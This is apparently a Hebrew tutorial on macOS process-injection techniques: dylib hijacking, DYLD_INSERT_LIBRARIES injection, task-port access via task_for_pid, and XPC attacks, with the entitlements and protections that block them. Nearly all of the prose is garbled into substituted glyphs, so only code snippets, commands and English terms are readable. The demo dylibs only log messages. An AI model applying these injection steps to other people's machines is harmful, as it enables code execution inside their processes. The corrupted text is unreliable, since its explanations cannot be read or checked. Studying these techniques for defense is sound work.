https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/UsingDynamicLibraries.html#//apple_ref/doc/uid/TP40002182-SW12
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˸ˣ˦˪˸˷ˢ ˪˰ Dylib 

π˟нлмр Σ˶˵ˣ˥ ˢ˥˦˟˞ˢ ˵˧˶˦˲ ˪ˡ˶ˣˣ ˫˯˶˲ ˦˯ˣ˲ ˭˧ˣ˴ˬ ˪˰ ˪ˣ˴˧ˮ ˸ˣ˧˶˲˯ ˸ˣ˷˪˥ ˸ˣ˧˶˲˯ˣ ˸ˣ˧ˣ˪˸ ˟˧˸ˮ˟ 

ˢ˴˶ˢ ˪-hijacking dylib ˟πmacOS Φ 

˫˰ ˸˞ˤ Σ˟ˣ˷˥ ˭˧˧˴˪ ˤ˞ˬ˷ нлмр Σ˪˲˞ ˢ˲˧˯ˣˢ ˢˬ˩ ˸ˣ˩˶˰ˬ ˢˮˠˢ ˸ˣ˪ˣ˩˧˷ ˰ˣˮˬ˪ ˸˞ ˸ˣ˰˧ˠ˲ˢ ˣˤˢ Φ˶˷˞˩ 

˳˟ˣ˵ ˢ˴˶ˢ x˞ dylib ˭˰˦ˮ ˭ˣ˶˩˧ˤ˪ ΣAMFI - Apple Mobile File Integrity ˵ˡˣ˟ ˸˞ ˸ˬ˧˸˥ ˡˣ˵ˢ ˧ˡ˩ ˞ˡˣˣ˪ 

˞ˣˢ˷ ˫˸˥ˮ ˪˰ ˧ˡ˧ ˥˸˲ˬ ˭˧ˬ˞ ˞˪ˣ ˢ˷˰ˮ x˟ ˧ˣˮ˧˷ x˞ ˸ˣ˟˶˰˸ˢ ˤ˞ˬ ˫˸˥ˮΦ 

ˢˮˠˢ xʕ Σˢˣˣˢˬ ˵˪˥ ˱˯ˣˮ ˬπhardened runtime Σ˶˷˞ ˸˰ˮˣˬ ˸˧ˮ˩ˣ˸ˬ ˭ˣ˰˦˪ ˫˧ˮ˧ˠ˞˪˲ Σ˫˧˲˯ˣ˸ x˞ 

˧˶˲˯˸ˣ ˞˪˞ ˫˞ ˫ˢ ˣˬ˸˥ˮ ˪˰ ˧ˡ˧ ˪˲˞ x˞ ˣˬ˸˥ˮ ˫˰ ˣ˸ˣ˞ Team ID ˣˬ˩ ˳˟ˣ˵ ˢ˴˶ˢˢ ˧˷˞˶ˢΦ 

 ˫ˮ˷˧ ˫˧˶˵ˬ ˫ˢ˟ ˭˸˧ˮ ˭˧˧ˡ˰ ˪˴ˮ˪ dylib hijacking Φ˭˥˟ˮ ˟ˣ˶˵ˬ ˸˞ ˫˧˶˵ˬˢ ˫˧˞˟ˢΥ 

¶ ˢ˧˴˵˧˪˲˞ˢ  ˫˧ˮ˥ˣ˟ ˣˮ˥ˮ˞˷ˢˮ˧˞ ˸˪˟ˠˣˬ ˫˰ hardened runtime x˞ ˷˧˷ ˢ˪ ˸˞ ˢ˞˷˶ˢˢ 

validation-library-blecom.apple.security.cs.disa ˸˶˷˲˞ˬˢ ˱ˣ˵˰˪ ˸˞ ˸ˣ˵˧ˡ˟ ˢ˥˦˟˞ˢ. 

¶ ˫˞ ˡ˥˞ ˫˧˴˟˵ˢ ˟˧˸ˮ˟ ˢ˧˴˵˧˪˲˞ˢ ϐapp/Contents ώ˞˪ ˫˸˥ˮ ˧ˣ˞˶˩ ˸ˣ˰˧ˠ˲ˢ ˢ˧ˣ˷˰ ˫˧˧˵˸ˢ˪Φ 

˭˸˧ˮ ˵ˣˡ˟˪ ˸˞ ˸ˣˮ˧˵˸ ˢˬ˧˸˥ˢ ˸ˣ˰˴ˬ˞˟ ˢˡˣ˵˲ˢ verbose dummy-verify -codesign  Φ˫˞ ˢ˰˧˲ˣˬ 

˸˰ˡˣˢ ˢ˞˧ˠ˷ ˦˪˲˟ Σ˶˟ˡˢ ˰˧˟˴ˬ ˪˰ ˩ ˨ˢˬ˧˸˥ˢ˷ ˢˮ˧˞ ˢˮ˧˵˸Υ 

 

 ˸ˮˬ ˪˰˵ˣˡ˟˪ ˫˞ ˢ˧˴˵˧˪˲˞ ˢ˰˧ˠ˲ ˪-dylib hijacking Σ˭˸˧ˮ ˷ˬ˸˷ˢ˪ ˧˪˩˟ Dylib Hijack Scanner ˪˷ 

˵˧˶˦˲ x˞ ˵ˣˡ˟˪ ˸˧ˮˡ˧ ˸ˣ˰˴ˬ˞˟ ˢˡˣ˵˲ˢ otool Φ˪˰ ˧ˡ˧ ˷ˣˬ˧˷ ˸ˡˣ˵˲˟ otool ˫˰ ˪ˠˡˢ άπl Σέ˭˸˧ˮ ˠ˧˴ˢ˪ 

˸˞ ˪˩ ˸ˣˡˣ˵˲ ˢˮ˧˰˦ˢ ˪˷ ˳˟ˣ˵ˢΦ 

˧ˡ˩ ˸ˣˢˤ˪ dylibs ˫˧˷˪˥ Σ˭˸˧ˮ ˷ˬ˸˷ˢ˪ ˢˡˣ˵˲˟Υ 

otool - l dummy | grep LC_LOAD_WEAK_DYLIB - A5 

˫˞ ˢ˧˴˵˧˪˲˞ˢ ˸ˮ˰ˣ˦ ˢ˧˧˶˲˯ ˢ˷˪˥ ˢ˧˧˵˧˸ˬ ˸ˮ˸˧ˮˢ ˢ˟˧˸˩˪ ˪˰ ˧ˡ˧ ˷ˬ˸˷ˬˢ Σ˧ˢ ˞ˢ˰˧ˠ˲ Σ˭˸˧ˮˣ ˥˧ˮˢ˪ 

ˣ˞ ˱˧˪˥ˢ˪ ˸˧˧˶˲˯˟ dylib ˸˧ˮˣˡˤ ˢ˸ˣ˞˟ ˢ˧˧˵˧˸Υ 

  

https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x
https://objective-see.org/products/dhs.html
https://www.manpagez.com/man/1/otool/
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˭˲ˣ˞˟ ˢˬˣˡ Σ˭˸˧ˮ ˷ˬ˸˷ˢ˪ ˢˡˣ˵˲˟Υ 

otool - l dummy | grep LC_LOAD_DYLIB - A5 

˧ˡ˩ ˵ˣˡ˟˪ ˫˞ ˸ˣ˧˶˲˯ dylib ˸ˣˮ˰˦ˮ ˬπ@rpathΥ 

 

˫˞ ˭ˮ˷˧ ˸ˣ˧˶˲˯ dylib ˸ˣˮ˰˦ˮ˷ ˬπrpath@ Σˣˮ˧˪˰ ˵ˣˡ˟˪ ˫˞ ˸ˣˡˣ˵˲ LC_RPATH ˸ˣ˰˧˟˴ˬ ˪˰ ˢ˧˧˵˧˸ 

˸ˮ˸˧ˮˢ ˢ˟˧˸˩˪ Φˢ˶˵ˬ˟ ˭ˮ˷˧˷ ˶˲˯ˬ ˸ˣˡˣ˵˲ ˢˮ˧˰˦ ˪˷ LC_RPATH ˢ˧˧˶˲˯ˢˣ ˢ˧ˣ˪˸ˢ ˟˧˸ˮ˟ ˢ˴˶ˢˢ ˞˪ 

ˢ˞˴ˬˮ ˟˧˸ˮ˟ ˷ˣ˲˧˥ˢ ˧˷˞˶ˢ ˪˷ ˟˧˸ˮ ˢ˴˶ˢ Σ˭˸˧ˮ ˪˴ˮ˪ ˸˞ ˸ˣ˰˧ˠ˲ˢ ˪˰ ˧ˡ˧ ˸˥ˮˢ ˸˧˧˶˲˯ dylib ˸˧ˮˣˡˤ 

˟˧˸ˮ˟ ˧˷˞˶ˢ Σ˪˷ˬ˪ Σˢˬˠˣˡ˟ ˣˮ˪˷ ˭˸˧ˮ ˫˵ˬ˪ ˸˞ ˢ˧˧˶˲˯ˢ ˧ˮˣˡˤˢ ˸˟˧˸ˮ˟ Υ 

@executable_path/../Frameworks 

 

ˢˬˠˣˡ˟ ˣˮ˪˷ Σˢ˧˧˶˲˯ˢ ˸˧ˬˮ˧ˡˢ ˸˞˶˵ˮ˷ Ϧcustom.dylib Ϧ˸ˮ˰˦ˮ ˬπ@rpath Φ˫ˣ˵˧ˬˢ ˡ˰ˣ˧ˬˢ ˸˧˧˶˲˯˪ 

πsdylib ˸˧ˬ˧˦˧ˠ˪ˢ ˞ˣˢ ˸˧˧˵˧˸˟ @executable_path/../Test Φˣˬ˩ ˭˩ Σˣˮ˧˪˧ˠ ˫ˠ ˸˞ ˟˧˸ˮ ˷ˣ˲˧˥ˢ 

@executable_path/../Frameworks ˲ˣˬ˷˰˧ ˧ˮ˲˪ @executable_path/../Test Φ˟˴ˬ ˢˤ ˶˷˲˞ˬ ˣˮ˪ 

˥˧ˮˢ˪ ˸˞ sπdylib ˣˮ˪˷ ˟π@executable_path/../Frameworks ˦˪˸˷ˢ˪ˣ ˪˰ sπdylib ˧ˬ˧˦˧ˠ˪ˢΦ 

ˣ˞ˣ˟ ˶ˣ˴˧ˮ dylib ˦ˣ˷˲ ˡˣ˵ˢˬ ˞˟ˢΥ 

#include <stdio.h>  
#include <syslog.h>  
 
__attribute__ ((constructor))  
static void customConstructor ( int argc)  
{  
syslog (LOG_ERR, "Dylib loaded successful!" );  
}  

 

˧ˡ˩ ˪˲ˬ˵˪ ˸˞ ˡˣ˵ˢ ˶˧ˡˠˢ˪ˣ ˸˞ ˫˧˪ˠˡˢ ˫˧˷˶ˡˮˢ Σ˷ˬ˸˷ˮ ˸ˡˣ˵˲˟ ˢ˪˧˰˲ˬˢ ˸˞ ˶˪˧˧˲ˬˣ˵ˢ gcc Φˣˮ˧˪˰ 

˶˧ˡˠˢ˪ ˸˞ ˫˧˪ˠˡˢ current_version xπcompatibility_version ˨˩ ˣ˧ˢ˧˷ ˫˧ˬ˞ˣ˸ ˸ˣ˞˯˶ˠ˪ ˪˷ sπdylib 

ˠ˪ˢ˧ˬ˧˦˧ Φ˱˯ˣˮ˟ Σπsdylib ˢˤ˥˸ˬˢ ˨˧˶˴ ˞˴˧˧˪ ˸˞ ˫˧˪ˣ˟ˬ˧˯ˢ ˫˧ˮˣ˩ˮˢ ˧ˡ˩ ˰ˣˮˬ˪ ˸ˣ˯˧˶˵ ˭ˬˤ˟ ˢˮ˧˰˦ˢ Φ 
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˭˸˧ˮ ˠ˧˷ˢ˪ ˸˞ˤ ˸ˣ˰˴ˬ˞˟ ˸˧˧˶˲˯ ϥre-exporter ϥ˸˶˴ˣ˧˷ ˞ˣ˴˧˧ ˪πdylib ˧ˬ˧˦˧ˠ˪ˢ ˸ˣ˰˴ˬ˞˟ ˪ˠˡˢ -

reexport_libraryΥ 

 

ˢˮˢ ˢˬˠˣˡ ˸ˡˣ˵˲˪ ˢ˧˴˪˧˲ˬˣ˵ˢΥ 

gcc - dynamiclib - current_ve rsion 6.8.0 - compatibility_version 6.8.0 custom.c - o 
custom.dylib - Wl, - reexport_library "legitimate dylib"  

˸˶ˡˠˢ ˫˷ ˢˮ˵˸ˢˢ ˢˢˤ˪ ˫˷˪ ˭˧ˣ˴˷ ˸ˡˣ˵˲˟ LOAD_*DYLIBΥ 

install_name_tool - id @rpath/custom.dylib custom.dylib  

˧ˣˮ˧˷ ˫˷ ˢˮ˵˸ˢˢ ˟˧˸ˮ˪ ˞˪ˬˢ ˪˷ sπdylib ˧ˠ˪ˢ˧ˬ˧˦ ύ˶˸ˣ˲ ˟˧˸ˮ Ҕshortcutκғ@Υό 

install_name_tool - change <old > < new> < target dylib > 

˱ˣ˯˟˪ Σ˷˧ ˵˧˸˰ˢ˪ ˸˞ sπdylib ˸˧˧˵˧˸˪ @executable_path/../Test ˪˧˰˲ˢ˪ˣ ˸˞ ˢ˧˴˵˧˪˲˞ˢ Φ˭˸˧ˮ 

˵ˣˡ˟˪ ˸˧˧˴˵˧˪˲˞˟ ˢ˪ˣ˯ˮˣ˵ˢ ˫˞ sπdylib ˦ˮ:˭˰ 

 

 

 

 

 

 

 ˱˯ˣˮ˟˸ˣ˦˪˸˷ˢ˪ ˪˰ ˸ˣ˧˶˲˯ Σˢˮ˷˧ ˦˧˷ s˸˲˯ˣˮ ˸˴˶ˢ˪ ˡˣ˵ ˧ˮˣˡˤ ˨˧˪ˢ˸˟ ˸˞˶˵ˮˢ Ϧdylib injection Ϧ

ύ˸˵˶ˤˢ ˡˣ˵ Φόˡˣˠ˧ˮ˟ ˸ˣ˦˪˸˷ˢ˪ Σ˸˷ˬ˸˷ˬ˷ ˭ˣˮˠˮˬ˟ ˷ˣ˲˧˥ ˸ˣ˧˶˲˯ˢ ˸ˣ˧ˬˮ˧ˡˢ ˧ˡ˩ ˭ˣ˰˦˪ dylib ˧ˮˣˡˤ 

˫ˣ˵ˬ˟ ˢ˧˧˶˲˯ ˸˧ˬ˧˦˧ˠ˪ Σ˸˵˶ˤˢ dylib ˢ˵˧˶ˤˬ ˢ˧˧˶˲˯ ˸˧ˬˮ˧ˡ ˨ˣ˸˪ ˨˧˪ˢ˸ ˳˶ ˧ˡ˩ ˸ˣˮ˷˪ ˸˞ ˣ˸ˣˠˢˮ˸ˢ 

ˣ˞ ˟˧˥˶ˢ˪ ˸˞ ˪ˣ˩˧ˣ˧˸ˣ. 
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Code Injection 

˸˵˶ˤˢ ˡˣ˵ ˞˧ˢ ˢ˵˧ˮ˩˦ ˸˷ˬ˷ˬˢ ˸˶ˡ˥ˢ˪ x˞ ˸˴˶ˢ ˡˣ˵ ˧˸ˣ˶˧˶˷ ˨ˣ˸˟ ˢ˧˴˵˧˪˲˞ˢ ˢ˴˶ Φ˭˥˟ˮ ˧˸˷ 

˸ˣ˵˧ˮ˩˦ ˸ˣ˧ˤ˩˶ˬ ˸˵˶ˤˢ˪ ˡˣ˵Υ 

мΦ ˸˵˶ˤˢ dylib ˟ ˸˶ˤ˰dyId_insert_libraries 

нΦ ˢ˵˶ˤˢ ˨˶ˡ mach task port 

˧ˢˬ ˸˵˶ˤˢ dylibΚ 

˸˵˶ˤˢ dylib ˞˧ˢ ˢ˵˧ˮ˩˦ ˸˶ˡ˥ˢ˪ ˡˣ˵ ˧˪˲˞˪˸˧˧˴˵ macOS ˪˰ ˧ˡ˧ ˸˶ˡˠˢ ˢˮ˸˷ˬ ˢ˟˧˟˯ˢ 

DYLD_INSERT_LIBRARIES ˟˧˸ˮ˪ ˪˷ ˢ˧˧˶˲˯ ˸˧ˬˮ˧ˡ ύdylib Σό˨˩ ˡˣ˵˷ ˢ˧˧˶˲˯ˢ ˰˴ˣ˟˧ ˨ˣ˸˟ ˨˧˪ˢ˸ˢ ˪˷ 

ˢ˧˴˵˧˪˲˞ˢ Φˢ˵˧ˮ˩˦ xʕ ˢˬˣˡ ˸˦˧˷˪ LD_PRELOAD ˯˵ˣˮ˧˪˟Φ 

ˢ˧˧˶˲˯ˢ ˸˵˶ˤˣˬˢ ˸˰˴˟˸ˬ ˫˰ ˭˸ˣ˞ ˸ˣ˞˷˶ˢ ˣˬ˩ ˨˧˪ˢ˸ˢ ˧˷˞˶ˢ Φˢˬ ˶˷˲˞ˬ˷ ˰˴˟˪ ˪ˣ˰˲˸ˣ ˫˰ ˭˸ˣ˞ 

˸ˣ˞˷˶ˢ ˪˷ ˢ˧˴˵˧˪˲˞ˢΦ ˸˶˦ˬ ˢˮ˸˷ˬˢ DYLD_INSERT_LIBRARIES ˞˧ˢ ˭˧˧˴˪ ˢ˧˧˶˲˯ ˸˧ˬˮ˧ˡ ˢ˩˧˶˴˷ 

˭˰˦˧ˢ˪ ˨ˣ˸˪ ˨˧˪ˢ˸ ˭ˬˤ˟ ˢ˴˧˶ Φ˶˷˞˩ ˨˧˪ˢ˸ ˪˧˥˸ˬ Σπsdynamic linker ˷˲˥ˬ ˸˞ ˨˶˰ˢ ˪˷ ˢˮ˸˷ˬ 

ˢ˟˧˟˯ˢ DYLD_INSERT_LIBRARIES ˭˰ˣ˦ˣ ˸˞ ˸ˣ˧˶˲˯ˢ ˸ˣ˧ˬˮ˧ˡˢ ˣˮ˧ˣ˴˷ ˧ˮ˲˪ ˸ˮ˧˰˦ ˸ˣ˧ˣ˪˸ˢ ˪˷ 

˸˧ˮ˩ˣ˸ˢΥ 

 

˫˞ SIP ˪˰˲ˣˬ Σ˫˧˶˞ˮ˧˟ ˫˧ˮˠˣˬˢ ˪˰ ˣ˧ˡ˧ ˫˧ˬ˪˰˸ˬ ˢˮ˸˷ˬˬ ˢ˟˧˟˯ ˢˤΦ 

 ˢ˶˵ˬ˟ ˣˮ˪˷ ΣSIP ˱˩ˣ˞ ˸ˣ˪˟ˠˢ ˪˰ ˸ˣ˧˴˵˧˪˲˞ ˣ˶˴ˣˮ˷ ˫˰ Hardened Runtime ˪˰˲ˣˬ Φ˸˶˧˶˟˩ ˪ˡ˥ˬ Σ

˧ˮ˸˷ˬ ˢ˟˧˟˯ ˫˧ˬ˧ˣ˯ˬ ˫˧˶ˣ˷˵ˢ ˶ˣ˷˧˵˪ ˧ˬˮ˧ˡ Σ˪˪ˣ˩ DYLD_INSERT_LIBRARIES Σ˫ˮ˧˞ ˫˧˶˸ˣˬΦ 

˫˰ ˸˞ˤ Σ˫ˮ˷˧ ˸ˣˠ˶˥ˢ ˸ˣ˪˟ˠˢ˪ ˣ˪˪ˢ Σ˧˲˩ ˫ˠˡˣˢ˷ ˫ˡˣ˵ Φ˵˪˥ ˸ˣ˧˴˵˧˪˲˞ˢˬ ˸ˣ˧ˣ˷˰ ˪ˣ˪˩˪ ˸ˣˠ˧˶˥ ˭ˬˤ 

ˢ˴˧˶ Φ˫ˮ˷˧ ˧˸˷ ˸ˣˠ˶˥ˢ ˸ˣ˪ˣ˩˧˷ ˪˧˟ˣˢ˪ ˸˵˶ˤˢ˪ dylibΥ 

¶ Allowing DYLD environment variables - ˢˠ˧˶˥ xʕ ˸˶˷˲˞ˬ ˷ˣˬ˧˷ ˧ˮ˸˷ˬ˟ ˢ˟˧˟˯ ˫˧˶ˣ˷˵ˢ ˪-

dyld ,˪˪ˣ˩ ESDYLD_INSERT_LIBRARI. 

¶  Disable Library Validation - ˢ˶˵ˬ˟ ˢ˧˧˶˲˯ˢ˷ ˸˵˶ˤˣˬˢ ˞˪ ˢˬˣ˸˥ ˫˰ ˢˢˤˬ ˸ˣˣ˴ˢ ˧ˣ˲˴ˢ 

)Team ID ,(˭˸˧ˮ ˱ˣ˵˰˪ ˸˞ ˢ˵˧ˡ˟ˢ ˫˞ ˢ˧˴˵˧˪˲˞ˢ ˢ˶ˡˠˣˢ ˫˰ ˢˠ˧˶˥ xʕ. 
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˭˸˧ˮ ˵ˣˡ˟˪ ˸˞ ˸ˣ˞˷˶ˢˢ ύentitlements ό˪˷ ˢ˧˴˵˧˪˲˞ ˧ˡ˩ ˸ˣˢˤ˪ ˫˞ ˞˧ˢ ˢ˰˧ˠ˲ ˸˵˶ˤˢ˪ dylib Φ˫˞ 

variables-environment-dyld-rity.cs.allowcom.apple.secu xπ-library-com.apple.security.cs.disable

validation ˸ˣ˶ˡˠˣˬ ˩πtrue Σ˧ˤ˞ ˸ˣˠ˧˶˥ˢ ˣ˪˪ˢ ˸ˣ˪˰˲ˣˬ ˢ˧˴˵˧˪˲˞ˢˣ ˢ˧ˣ˷˰ ˸ˣ˧ˢ˪ ˢ˰˧ˠ˲Υ 

 

 ˪˰ ˸ˮˬ ˫˧ˠˡˢ˪ ˸˞ ˸˵˧ˮ˩˦ ˸˵˶ˤˢ sπdylib Σ˪˧˥˸ˮ ˸˶˧˴˧˟ ˢ˧˧˶˲˯ ˸˧ˬˮ˧ˡ ύdylib ό˸ˣ˰˴ˬ˞˟ ˡˣ˵ˢ ˞˟ˢΥ 

#include <stdio.h>  
#include <syslog.h>  
 
__attribute__ ((constructor))  
static void customConstructor ( int argc, const char **argv)  
{  
    printf ( "Hello! \ n" );  
    syslog (LOG_ERR, "Dylib injection successful in %s\ n" , argv[ 0]);  
}  

˪˰ ˸ˮˬ ˪˲ˬ˵˪ ˸˞ ˡˣ˵ˢ ˶ˣ˴˧˪ˣ ˸˞ ˢ˧˧˶˲˯ˢ ˸˧ˬˮ˧ˡˢ ύdylib Σό˷ˬ˸˷ˮ ˸ˡˣ˵˲˟ gcc ˢ˞˟ˢΥ 

gcc - dynamiclib inject.c - o inject.dylib  
 

˶˥˞˪ ˣˮ˪˲ˬ˧˵˷ ˸˞ sπdylib Σ˪˩ˣˮ ˨˧˷ˬˢ˪ ˸˶ˡˠˢ˟ ˢˮ˸˷ˬ ˢ˟˧˟˯ˢ ˢ˧˧˶˲˯˪ ˣˮ˪˷ ˳˧˶ˢ˪ˣ ˸˞ 

ˢ˧˴˵˧˪˲˞ˢΥ 

DYLD_INSERT_LIBRARIES=inject.dylib ~/dummy.app/Contents/MacOS/dummy  
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˞˪˶˥ ˣˮ˵˶ˤˢ˷ ˸˞ ˢ˧˧˶˲˯ˢ ˸˧ˬˮ˧ˡˢ ˣˮ˴˶ˢˣ ˸˞ ˢ˧˴˵˧˪˲˞ˢ Σ˪˩ˣˮ ˸ˬ˞˪ ˡˣ˵ˢ˷ ˣˮ˪˷ ˳˶ ˪˰ ˧ˡ˧ ˢ˵˧ˡ˟ 

˸˧˧˴˵˧˪˲˞˟ Console ˪˷ macOSΦ 

 

  

:˸˲˯ˣˮ ˢ˵˧ˮ˩˦ Injection via Mach Task Port 

˦ˢ˵˧ˮ˩ ˸˲˯ˣˮ ˸˵˶ˤˢ˪ ˡˣ˵ ˨ˣ˸˪ ˨˧˪ˢ˸ ˞˧ˢ ˸ˣ˰˴ˬ˞˟mach task port Σ˶˷˞ ˷ˬ˷ˬ ˨˶ˡ˟ ˪˪˩ 

˸˶ˣ˷˵˸˪ ˭˧˟π˫˧˩˧˪ˢ˸ ύIPC ό˪˷ ˨˧˪ˢ˸ˢ Φˢ˞˷˶ˢˢ ȫallow-task-com.apple.security.get ȫ˸˶˷˲˞ˬ 

ˢ˧˴˵˧˪˲˞˪ ˞ˣ˶˵˪ x˞ ˸ˣˮ˷˪ ˸˞ ˭ˣ˶˩˧ˤˢ ˪˷ ˫˧˩˧˪ˢ˸ ˫˧˶˥˞ ˫˧˴˶ˢ ˪˰ ˢ˸ˣ˞ ˢˮˣ˩ˬ Φ˭˸˧ˮ ˪˴ˮ˪ ˸˞ˤ 

˸˵˶ˤˢ˪ ˡˣ˵ ˨ˣ˸˪ ˨˧˪ˢ˸ ˶˥˞Φ 

ˢˬˠˣˡ˪ Σˡˣ˵ˢ ˞˟ˢ ˢ˯ˮˬ ˠ˧˷ˢ˪ ˸˞ mach port ˶ˣ˟˰ ˢˢˤˬ ˨˧˪ˢ˸ ύPID όˣ˯ˬ˫˧ Φ˷˧ ˭˧˧˴˪ ˡˣ˵ˢ˷ ˨˧˶˴ 

˰˴˟˸ˢ˪ ˫˰ ˸ˣ˞˷˶ˢ ˪ˢˮˬ ˸˩˶˰ˬ ύrootό: 

#include <stdio.h>  
#include <stdlib.h>  
#include <mach/mach.h> 
#include <unistd.h>  
 
int main() {  
   setuid ( 0);  
   pid_t pid = 4570;  
   mach_port_t task;  
   kern_return_t kr = task_for_pid ( mach_task_self (), pid, &task);  
   if (kr != KERN_SUCCESS) {  
       printf ( "Failed to get task port for PID %d: %s\ n" , pid, mach_error_string (kr));  
       return 1;  
   }  
   printf ( "Got task port 0x %x for PID %d\ n" , task, pid);  
   // use the task port to read and wri te memory within the target process  
   // ...  
   return 0;  
}  

˶˷˞˩ ˣˮ˧˯˧ˮ ˳˧˶ˢ˪ ˸˞ ˸˧ˮ˩ˣ˸ˢ ˣˤˢ ˫˰ PID ˪˷ ˢ˧˴˵˧˪˲˞ ˢˬˡˢ Σˣˮ˪˟˧˵ ˸˞˧ˠ˷ AMFI ˸ˮ˧˧˴ˬ˷ 

˸˧ˮ˩ˣ˸ˢ˷ ˣˮ˪˷ ˢˮ˧˞ ˸˶ˡˠˣˬ ˶ˠ˞˟˧ˡ˩ ˢ˞˧˶˵˪ ˡ˟˪˟ Φ˧ˡ˩ ˶ˣ˸˲˪ ˸˞ˤ Σ˸˧ˮ˩ˣ˸ˢ ˸˟˧˧˥ ˪ˣ˪˩˪ ˫ˠ ˸˞ 

ˢ˞˷˶ˢˢ com.apple.security.cs.debugger Σ˸˶˷˲˞ˬ˷ ˢ˧˴˵˧˪˲˞˪ ˶˟˥˪ ˶ˠ˞˟˧ˡ ˨˧˪ˢ˸˪ ˶˥˞Υ 

 

ˢˡˣ˵ ˢˤˢ ˢˣˣˢˬ ˢˬˠˣˡ ˸˧˯˧˯˟ ˷ˣˬ˧˷˪ ˸ˣ˧˪ˮˣ˧˴˵ˮˣ˲˟ ȫtask_for_pid ȫ˧ˡ˩ ˵˧˶ˤˢ˪ ˡˣ˵ ˨ˣ˸˪ ˨˧˪ˢ˸ ˳˶ Φ 
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˫˞ ˣˢ˷˧ˬ ˭˧˧ˮˣ˰ˬ ˸ˣ˯ˮ˪ ˸˞ ˢ˵˧ˮ˩˦ˢ ˣˤˢ ˣˬ˴˰˟ Σ˭˸˧ˮ ˞ˣ˴ˬ˪ ˸ˣ˧ˮ˩ˣ˸ ˸ˣ˧˷ˣˬ˧˷ ˣˬ˯˶ˣ˲˷ ˪˰ ˧ˡ˧ ɣϥ˭˸ˮˣ ˭˧ˣ˪ 

ˣ˦ˣ˵˯ ˦˧˧ˮ ˪˰ remote thread injectionΦ 

 Apple ˢ˪˧˟ˠˬ ˸˞ ˷ˣˬ˧˷ˢ ˢ˞˷˶ˢ˟ com.apple.security.get-task-allow Φˢ˞˷˶ˢˢ ˸ˮ˸˧ˮ ˸˰˩ ˵˶ 

˸ˣ˧˴˵˧˪˲˞˪ ˣˮ˵˸ˣˢ˷ ˨˶ˡ Xcode x˞ ˸ˣˮˬˣ˯ˬ ˸˟˧˟˯˩ ˥ˣ˸˧˲ Φ˸ˣ˰ˬ˷ˬ ˶˟ˡˢ ˞˧ˢ ˢ˞˷˶ˢˢ˷ ˢˮ˧˞ ˢˮ˧ˬˤ 

˧˪˲˞˪˸ˣ˧˴˵ ˸ˣ˴˲ˣˬˢ ˨˶ˡ ˸ˣˮ˥ ˸ˣ˧˴˵˧˪˲˞ˢ x˞ ˣˡ˶ˣˢ˷ ˸ˣ˶ˣ˵ˬˬ ˡ˴ ˧˷˧˪˷Φ 

  

XPC Attacks 

ˣ˞ˣ˟ ˶˟ˡˮ ˪˰ ˠˣ˯ ˱˯ˣˮ ˪˷ ˢ˲˵˸ˬ ˢ˰ˣˡ˧ˢ ˸˲˵˸ˬ˩ XPC Φ˸ˣ˶ˬ˪ ˞˪˷ ˯ˮ˩˧ˮ ˵ˬˣ˰˪ ˧˦˶˲ ˢ˲˵˸ˬˢ Σˣˮ˞ 

˫˧ˮ˧ˬ˞ˬ ˟ˣ˷˥˷ ˶˧˩ˤˢ˪ ˢ˸ˣ˞ ˭ˣˣ˧˩ˬ ˸ˮ˟ˢ˷ ˸ˣ˲˵˸ˬ XPC ˢ˪ˣ˩˧ ˵˲˯˪ ˸ˣˮ˟ˣ˸ ˸ˣ˟ˣ˷˥ ˶ˣˤ˰˪ˣ ˱ˣ˷˥˪ 

˩˧˯˧ˮˣ ˢ˥˦˟˞ ˞˪ ˫˧˰ˣˡ˧Φ 

 XPCˣˮ˧ˢ ˭ˣˮˠˮˬ ˸˶ˣ˷˵˸ ˭˧˟π˸˧˩˧˪ˢ˸ ύIPC ό˸˵˲˯ˬ˷ macOS ˶˷˲˞ˬ˷ ˫˧˩˧˪ˢ˸˪ ˶˷˵˸˪ ˢ˶ˣ˴˟ 

˸˥˦˟ˣ˞ˬ ˢˤ ˫˰ ˢˤ ˸ˣ˰˴ˬ˞˟ ˪ˡˣˬ ˥ˣ˵˪π˸˶˷Φ 

˸ˣ˲˵˸ˬ XPC ˸ˣ˯˥˧˧˸ˬ ˪ˣ˴˧ˮ˪ ˸ˣ˷˪ˣ˥ ˫ˣ˷˧˧˟ x˞ ˢ˶ˡˠˢ˟ ˪˷ ˧˸ˣ˶˧˷ XPC ύ˸˶ˣ˷˵˸ ˭˧˟π˸˧˩˧˪ˢ˸ Σόˢˬ 

˪ˣ˩˧˷ ˪˧˟ˣˢ˪ ˢ˷˧ˠ˪ ˞˪ ˸˧˷˶ˣˬ Σ˸ˬ˪˯ˢ ˸ˣ˞˷˶ˢ x˞ ˣ˪˧˲˞ ˸˴˶ˢ ˡˣ˵ ˵ˣ˥˶ˬ Φ˫˧˲˵ˣ˸ ˫˧˪ˣ˩˧ ˸ˣ˷˰˪ 

˸ˣ˧˴˪ˣ˲˧ˮˬ ˸ˣ˰ˡˣˢ˪ XPC Σ˱˧˧ˤ˪ ˸ˣ˧ˣˢˤ x˞ ˪˴ˮ˪ ˸ˣˡˣ˵ˮ ˢ˴˵ ˪˷ XPC ˧ˡ˩ ˦˪˸˷ˢ˪ ˪˰ ˢ˧˴˵˧˪˲˞ˢ 

˸˲˵˸ˣˬˢΦ 

˧˸ˣ˶˧˷ XPC ˫˧˷ˬ˷ˬ ˫˧˸˧˰˪ ˸ˣ˟ˣ˶˵ ˪˫ˣ˷˧˧ ˧˪˩ ˶ˤ˰ ˫˰ ˸ˣ˞˷˶ˢ ˸ˣˢˣ˟ˠ ύprivileged helper tools Σό

˫˧˰ˣˡ˧ˢ ˫ˠ ˩-privileged daemons x-helper agents Σ˫˧˪˩ ˣ˪˞ ˫˧˵˲˯ˬ ˸ˣ˧˪ˮˣ˧˴˵ˮˣ˲ ˢ˧˴˵˧˪˲˞˪ ˸˧˷˞˶ˢ 

ˣ˞ ˸ˣ˧˴˵˧˪˲˞˪ ˸ˣ˶˥˞ ˸˩˶˰ˬ˟ Φ˫ˢ ˣˡ˰ˣˮ ˶˷˲˞˪ ˸ˮˬ ˪˰ ˸ˣˬ˧˷ˬ ˸ˣ˷˶ˣˡ˷ ˸ˣ˞˷˶ˢ ˸ˣˢˣ˟ˠ Σˣˬ˩ ˪ˣˢ˧ˮ 

